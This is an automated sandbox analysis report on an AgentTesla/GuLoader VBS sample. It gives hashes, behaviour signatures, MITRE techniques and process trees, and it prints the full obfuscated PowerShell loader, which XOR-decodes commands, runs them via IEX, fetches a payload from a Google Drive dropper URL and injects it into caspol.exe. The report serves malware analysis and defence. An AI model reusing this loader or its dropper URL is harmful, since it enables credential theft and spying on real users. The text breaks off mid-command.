agenttesla | 7d4aad4ccac671a9a98a5205380b89553b30fccbbf90b477a3e19cb4f9d2c55f

General

Target

Transf....vbs
Size

123KB
MD5

84f3d45749a8fbf516a9fa3366b29e26
SHA1

6c5c766ceae655caf5468da5b41346eec0602cc7
SHA256

7d4aad4ccac671a9a98a5205380b89553b30fccbbf90b477a3e19cb4f9d2c55f
SHA512

5238bb38e86e38426b2ceba742cb6732d2877e5c8b27446425df2b7a9895a429dd6c51d2fced2a3c2ec65e54c655e5ba9634a391565183be55666242698b0914
SSDEEP

3072:FXDq3Cj8LqSZ9Qy7jPLWCuHQq0mug5yzf:1Dw/mg9QyXYHn0muPT

Score

10^/10

agenttesla guloader collection downloader keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=1_-w5Me4EvTzbdzIX_v_YMZdeLAzHrV5z

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 1944 WScript.exe
6 1628 powershell.exe
9 1628 powershell.exe
11 1628 powershell.exe

flow	pid	process
2	1944	WScript.exe
6	1628	powershell.exe
9	1628	powershell.exe
11	1628	powershell.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

caspol.exepowershell.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	caspol.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

caspol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

20 api.ipify.org
21 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

caspol.exe

pid process

268 caspol.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.execaspol.exe

pid process

1628 powershell.exe
268 caspol.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1628 set thread context of 268 1628 powershell.exe caspol.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	ioc
20	api.ipify.org
21	api.ipify.org

pid	process
268	caspol.exe

pid	process
1628	powershell.exe
268	caspol.exe

description	pid	process	target process
PID 1628 set thread context of 268	1628	powershell.exe	caspol.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

WScript.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

896 powershell.exe
1628 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1628 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.execaspol.exe

description pid process

Token: SeDebugPrivilege 896 powershell.exe
Token: SeDebugPrivilege 1628 powershell.exe
Token: SeDebugPrivilege 268 caspol.exe

pid	process
896	powershell.exe
1628	powershell.exe

pid	process
1628	powershell.exe

description	pid	process
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	268	caspol.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1944 wrote to memory of 1508	1944	WScript.exe	cmd.exe
PID 1944 wrote to memory of 1508	1944	WScript.exe	cmd.exe
PID 1944 wrote to memory of 1508	1944	WScript.exe	cmd.exe
PID 1944 wrote to memory of 1312	1944	WScript.exe	cmd.exe
PID 1944 wrote to memory of 1312	1944	WScript.exe	cmd.exe
PID 1944 wrote to memory of 1312	1944	WScript.exe	cmd.exe
PID 1944 wrote to memory of 896	1944	WScript.exe	powershell.exe
PID 1944 wrote to memory of 896	1944	WScript.exe	powershell.exe
PID 1944 wrote to memory of 896	1944	WScript.exe	powershell.exe
PID 896 wrote to memory of 1628	896	powershell.exe	powershell.exe
PID 896 wrote to memory of 1628	896	powershell.exe	powershell.exe
PID 896 wrote to memory of 1628	896	powershell.exe	powershell.exe
PID 896 wrote to memory of 1628	896	powershell.exe	powershell.exe
PID 1628 wrote to memory of 268	1628	powershell.exe	caspol.exe
PID 1628 wrote to memory of 268	1628	powershell.exe	caspol.exe
PID 1628 wrote to memory of 268	1628	powershell.exe	caspol.exe
PID 1628 wrote to memory of 268	1628	powershell.exe	caspol.exe
PID 1628 wrote to memory of 268	1628	powershell.exe	caspol.exe

outlook_office_path 1 IoCs

Processes:

caspol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

outlook_win_path 1 IoCs

Processes:

caspol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Transf....vbs"
1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\cmd.exe
  cmd /c echo off
  2⤵
  PID:1508
- C:\Windows\System32\cmd.exe
  cmd /c echo rshell
  2⤵
  PID:1312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Reconnaiss = """Function Jernfo11 { param([String]`$Underb136); `$Venom = ''; Write-Host `$Venom; Write-Host `$Venom; Write-Host `$Venom; `$Fensn = New-Object byte[] (`$Underb136.Length / 2); For(`$Afmrkn=0; `$Afmrkn -lt `$Underb136.Length; `$Afmrkn+=2){ `$Fensn[`$Afmrkn/2] = [convert]::ToByte(`$Underb136.Substring(`$Afmrkn, 2), 16); `$Klovs = (`$Fensn[`$Afmrkn/2] -bxor 119); `$Fensn[`$Afmrkn/2] = `$Klovs; } [String][System.Text.Encoding]::ASCII.GetString(`$Fensn);}`$Tenden0=Jernfo11 '240E0403121A59131B1B';`$Tenden1=Jernfo11 '3A1E1405180418110359201E194445592219041611123916031E01123A12031F181304';`$Tenden2=Jernfo11 '3012032705181436131305120404';`$Tenden3=Jernfo11 '240E0403121A59250219031E1A12593E190312051807241205011E141204593F1619131B12251211';`$Tenden4=Jernfo11 '0403051E1910';`$Tenden5=Jernfo11 '3012033A1813021B123F1619131B12';`$Tenden6=Jernfo11 '2523240712141E161B39161A125B573F1E1312350E241E105B572702151B1E14';`$Tenden7=Jernfo11 '250219031E1A125B573A161916101213';`$Tenden8=Jernfo11 '2512111B121403121333121B1210160312';`$Tenden9=Jernfo11 '3E193A121A18050E3A1813021B12';`$usneavitam0=Jernfo11 '3A0E33121B1210160312230E0712';`$usneavitam1=Jernfo11 '341B1604045B572702151B1E145B572412161B12135B573619041E341B1604045B5736020318341B160404';`$usneavitam2=Jernfo11 '3E1901181C12';`$usneavitam3=Jernfo11 '2702151B1E145B573F1E1312350E241E105B57391200241B18035B57211E050302161B';`$usneavitam4=Jernfo11 '211E050302161B361B1B1814';`$usneavitam5=Jernfo11 '1903131B1B';`$usneavitam6=Jernfo11 '390327051803121403211E050302161B3A121A18050E';`$usneavitam7=Jernfo11 '3E322F';`$usneavitam8=Jernfo11 '2B';`$udklipsbo=Jernfo11 '222432254445';`$Kiddike=Jernfo11 '34161B1B201E191318002705181436';function fkp {Param (`$Sandh, `$Dosis) ;`$Uncon0 =Jernfo11 '53201215001F1212574A575F2C36070733181A161E192A4D4D3402050512190333181A161E1959301203360404121A151B1E12045F5E570B57201F1205125A38151D121403570C57532859301B1815161B360404121A151B0E3416141F12575A361913575328593B181416031E18195924071B1E035F530204191216011E03161A4F5E2C5A462A59320602161B045F53231219131219475E570A5E59301203230E07125F53231219131219465E';.(`$usneavitam7) `$Uncon0;`$Uncon5 = Jernfo11 '53241C1E191C121B1219574A5753201215001F1212593012033A12031F18135F53231219131219455B572C230E07122C2A2A57375F53231219131219445B5753231219131219435E5E';.(`$usneavitam7) `$Uncon5;`$Uncon1 = Jernfo11 '0512030205195753241C1E191C121B1219593E1901181C125F5319021B1B5B57375F2C240E0403121A59250219031E1A12593E190312051807241205011E141204593F1619131B122512112A5F3912005A38151D12140357240E0403121A59250219031E1A12593E190312051807241205011E141204593F1619131B122512115F5F3912005A38151D121403573E19032703055E5B575F53201215001F1212593012033A12031F18135F53231219131219425E5E593E1901181C125F5319021B1B5B57375F53241619131F5E5E5E5E5B57533318041E045E5E';.(`$usneavitam7) `$Uncon1;}function GDT {Param ([Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$Semidec,[Parameter(Position = 1)] [Type] `$Udmagr = [Void]);`$Uncon2 = Jernfo11 '5322191604041E10191213574A572C36070733181A161E192A4D4D3402050512190333181A161E19593312111E1912330E19161A1E14360404121A151B0E5F5F3912005A38151D12140357240E0403121A592512111B1214031E181959360404121A151B0E39161A125F532312191312194F5E5E5B572C240E0403121A592512111B1214031E181959321A1E0359360404121A151B0E35021E1B1312053614141204042A4D4D2502195E593312111E1912330E19161A1E143A1813021B125F532312191312194E5B575311161B04125E593312111E1912230E07125F530204191216011E03161A475B57530204191216011E03161A465B572C240E0403121A593A021B031E1416040333121B12101603122A5E';.(`$usneavitam7) `$Uncon2;`$Uncon3 = Jernfo11 '5322191604041E10191213593312111E191234181904030502140318055F53231219131219415B572C240E0403121A592512111B1214031E18195934161B1B1E1910341819011219031E1819042A4D4D24031619131605135B575324121A1E1312145E592412033E1A071B121A12190316031E1819311B1610045F53231219131219405E';.(`$usneavitam7) `$Uncon3;`$Uncon4 = Jernfo11 '5322191604041E10191213593312111E19123A12031F18135F530204191216011E03161A455B57530204191216011E03161A445B575322131A1610055B575324121A1E1312145E592412033E1A071B121A12190316031E1819311B1610045F53231219131219405E';.(`$usneavitam7) `$Uncon4;`$Uncon5 = Jernfo11 '051203020519575322191604041E1019121359340512160312230E07125F5E';.(`$usneavitam7) `$Uncon5 ;}`$Procolleg = Jernfo11 '1C120519121B4445';`$Jernfo03 = Jernfo11 '30120334181904181B12201E19131800';`$Jernfo00=Jernfo11 '241F1800201E19131800';`$Jernfo01 = Jernfo11 '532403181A1603574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575302131C1B1E0704151857533D120519111847475E5B575F30332357375F2C3E19032703052A5B572C223E190344452A5E575F2C3E19032703052A5E5E5E';.(`$usneavitam7) `$Jernfo01;`$Jernfo02 = Jernfo11 '53351800121B1B1213131846424E574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575327051814181B1B121057533D120519111847445E5B575F30332357375F2C3E19032703052A5E575F2C3E19032703052A5E5E5E';.(`$usneavitam7) `$Jernfo02;`$Uncon7 = Jernfo11 '53320F1E040312574A5753351800121B1B1213131846424E593E1901181C125F475E';.(`$usneavitam7) `$Uncon7;`$Uncon7 = Jernfo11 '532403181A1603593E1901181C125F53320F1E0403125B57475E';.(`$usneavitam7) `$Uncon7;`$Uncon6 = Jernfo11 '531A121B13574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575327051814181B1B121057530204191216011E03161A435E5B575F30332357375F2C3E19032703052A5B572C223E190344452A5B572C223E190344452A5B572C223E190344452A5E575F2C3E19032703052A5E5E5E';.(`$usneavitam7) `$Uncon6;`$Disputats219 = fkp `$usneavitam5 `$usneavitam6;`$Uncon7 = Jernfo11 '533F1B13191E44574A57531A121B13593E1901181C125F2C3E19032703052A4D4D2D1205185B5741434E5B57470F444747475B57470F43475E';.(`$usneavitam7) `$Uncon7;`$Uncon8 = Jernfo11 '53270518100516454544574A57531A121B13593E1901181C125F2C3E19032703052A4D4D2D1205185B5745424E44424F40455B57470F444747475B57470F435E';.(`$usneavitam7) `$Uncon8;`$Jernfo01 = 'https://drive.google.com/uc?export=download&id=1_-w5Me4EvTzbdzIX_v_YMZdeLAzHrV5z';`$Jernfo00 = Jernfo11 '53351E1B1B444F574A575F3912005A38151D1214035739120359201215341B1E1219035E59331800191B1816132403051E19105F533D120519111847465E';`$Uncon8 = Jernfo11 '533F1B13191E454A531219014D16070713160316';.(`$usneavitam7) `$Uncon8;`$Hldni2=`$Hldni2+'\Ufor.dat';`$Bill38='';if (-not(Test-Path `$Hldni2)) {while (`$Bill38 -eq '') {.(`$usneavitam7) `$Jernfo00;Start-Sleep 5;}Set-Content `$Hldni2 `$Bill38;}`$Bill38 = Get-Content `$Hldni2;`$Uncon9 = Jernfo11 '532219141819574A572C240E0403121A59341819011205032A4D4D3105181A3516041241432403051E19105F53351E1B1B444F5E';.(`$usneavitam7) `$Uncon9;`$Bill380 = Jernfo11 '2C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D3418070E5F5322191418195B57475B5757533F1B13191E445B5741434E5E';.(`$usneavitam7) `$Bill380;`$Skdeskind=`$Uncon.count-649;`$Bill381 = Jernfo11 '2C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D3418070E5F5322191418195B5741434E5B57532705181005164545445B5753241C1312041C1E19135E';.(`$usneavitam7) `$Bill381;`$Bill382 = Jernfo11 '532401011203041E1A574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575302131C1B1E0704151857533C1E13131E1C125E5B575F30332357375F2C3E19032703052A5B572C3E19032703052A5B572C3E19032703052A5B572C3E19032703052A5B572C3E19032703052A5E575F2C3E19032703052A5E5E5E';.(`$usneavitam7) `$Bill382;`$Bill383 = Jernfo11 '532401011203041E1A593E1901181C125F533F1B13191E445B532705181005164545445B53331E0407020316030445464E5B475B475E';.(`$usneavitam7) `$Bill383#;""";Function Bill389 { param([String]$Underb136); For($Afmrkn=0; $Afmrkn -lt $Underb136.Length-1; $Afmrkn+=(0+1)){$Jernfo = $Jernfo + $Underb136.Substring($Afmrkn, 1)}; $Jernfo;}$Intel0 = Bill389 'IEX ';$Intel1= Bill389 $Reconnaiss;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Intel1 ;}else{.$Intel0 $Intel1;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:896
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Jernfo11 { param([String]$Underb136); $Venom = ''; Write-Host $Venom; Write-Host $Venom; Write-Host $Venom; $Fensn = New-Object byte[] ($Underb136.Length / 2); For($Afmrkn=0; $Afmrkn -lt $Underb136.Length; $Afmrkn+=2){ $Fensn[$Afmrkn/2] = [convert]::ToByte($Underb136.Substring($Afmrkn, 2), 16); $Klovs = ($Fensn[$Afmrkn/2] -bxor 119); $Fensn[$Afmrkn/2] = $Klovs; } [String][System.Text.Encoding]::ASCII.GetString($Fensn);}$Tenden0=Jernfo11 '240E0403121A59131B1B';$Tenden1=Jernfo11 '3A1E1405180418110359201E194445592219041611123916031E01123A12031F181304';$Tenden2=Jernfo11 '3012032705181436131305120404';$Tenden3=Jernfo11 '240E0403121A59250219031E1A12593E190312051807241205011E141204593F1619131B12251211';$Tenden4=Jernfo11 '0403051E1910';$Tenden5=Jernfo11 '3012033A1813021B123F1619131B12';$Tenden6=Jernfo11 '2523240712141E161B39161A125B573F1E1312350E241E105B572702151B1E14';$Tenden7=Jernfo11 '250219031E1A125B573A161916101213';$Tenden8=Jernfo11 '2512111B121403121333121B1210160312';$Tenden9=Jernfo11 '3E193A121A18050E3A1813021B12';$usneavitam0=Jernfo11 '3A0E33121B1210160312230E0712';$usneavitam1=Jernfo11 '341B1604045B572702151B1E145B572412161B12135B573619041E341B1604045B5736020318341B160404';$usneavitam2=Jernfo11 '3E1901181C12';$usneavitam3=Jernfo11 '2702151B1E145B573F1E1312350E241E105B57391200241B18035B57211E050302161B';$usneavitam4=Jernfo11 '211E050302161B361B1B1814';$usneavitam5=Jernfo11 '1903131B1B';$usneavitam6=Jernfo11 '390327051803121403211E050302161B3A121A18050E';$usneavitam7=Jernfo11 '3E322F';$usneavitam8=Jernfo11 '2B';$udklipsbo=Jernfo11 '222432254445';$Kiddike=Jernfo11 '34161B1B201E191318002705181436';function fkp {Param ($Sandh, $Dosis) ;$Uncon0 =Jernfo11 '53201215001F1212574A575F2C36070733181A161E192A4D4D3402050512190333181A161E1959301203360404121A151B1E12045F5E570B57201F1205125A38151D121403570C57532859301B1815161B360404121A151B0E3416141F12575A361913575328593B181416031E18195924071B1E035F530204191216011E03161A4F5E2C5A462A59320602161B045F53231219131219475E570A5E59301203230E07125F53231219131219465E';.($usneavitam7) $Uncon0;$Uncon5 = Jernfo11 '53241C1E191C121B1219574A5753201215001F1212593012033A12031F18135F53231219131219455B572C230E07122C2A2A57375F53231219131219445B5753231219131219435E5E';.($usneavitam7) $Uncon5;$Uncon1 = Jernfo11 '0512030205195753241C1E191C121B1219593E1901181C125F5319021B1B5B57375F2C240E0403121A59250219031E1A12593E190312051807241205011E141204593F1619131B122512112A5F3912005A38151D12140357240E0403121A59250219031E1A12593E190312051807241205011E141204593F1619131B122512115F5F3912005A38151D121403573E19032703055E5B575F53201215001F1212593012033A12031F18135F53231219131219425E5E593E1901181C125F5319021B1B5B57375F53241619131F5E5E5E5E5B57533318041E045E5E';.($usneavitam7) $Uncon1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Semidec,[Parameter(Position = 1)] [Type] $Udmagr = [Void]);$Uncon2 = Jernfo11 '5322191604041E10191213574A572C36070733181A161E192A4D4D3402050512190333181A161E19593312111E1912330E19161A1E14360404121A151B0E5F5F3912005A38151D12140357240E0403121A592512111B1214031E181959360404121A151B0E39161A125F532312191312194F5E5E5B572C240E0403121A592512111B1214031E181959321A1E0359360404121A151B0E35021E1B1312053614141204042A4D4D2502195E593312111E1912330E19161A1E143A1813021B125F532312191312194E5B575311161B04125E593312111E1912230E07125F530204191216011E03161A475B57530204191216011E03161A465B572C240E0403121A593A021B031E1416040333121B12101603122A5E';.($usneavitam7) $Uncon2;$Uncon3 = Jernfo11 '5322191604041E10191213593312111E191234181904030502140318055F53231219131219415B572C240E0403121A592512111B1214031E18195934161B1B1E1910341819011219031E1819042A4D4D24031619131605135B575324121A1E1312145E592412033E1A071B121A12190316031E1819311B1610045F53231219131219405E';.($usneavitam7) $Uncon3;$Uncon4 = Jernfo11 '5322191604041E10191213593312111E19123A12031F18135F530204191216011E03161A455B57530204191216011E03161A445B575322131A1610055B575324121A1E1312145E592412033E1A071B121A12190316031E1819311B1610045F53231219131219405E';.($usneavitam7) $Uncon4;$Uncon5 = Jernfo11 '051203020519575322191604041E1019121359340512160312230E07125F5E';.($usneavitam7) $Uncon5 ;}$Procolleg = Jernfo11 '1C120519121B4445';$Jernfo03 = Jernfo11 '30120334181904181B12201E19131800';$Jernfo00=Jernfo11 '241F1800201E19131800';$Jernfo01 = Jernfo11 '532403181A1603574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575302131C1B1E0704151857533D120519111847475E5B575F30332357375F2C3E19032703052A5B572C223E190344452A5E575F2C3E19032703052A5E5E5E';.($usneavitam7) $Jernfo01;$Jernfo02 = Jernfo11 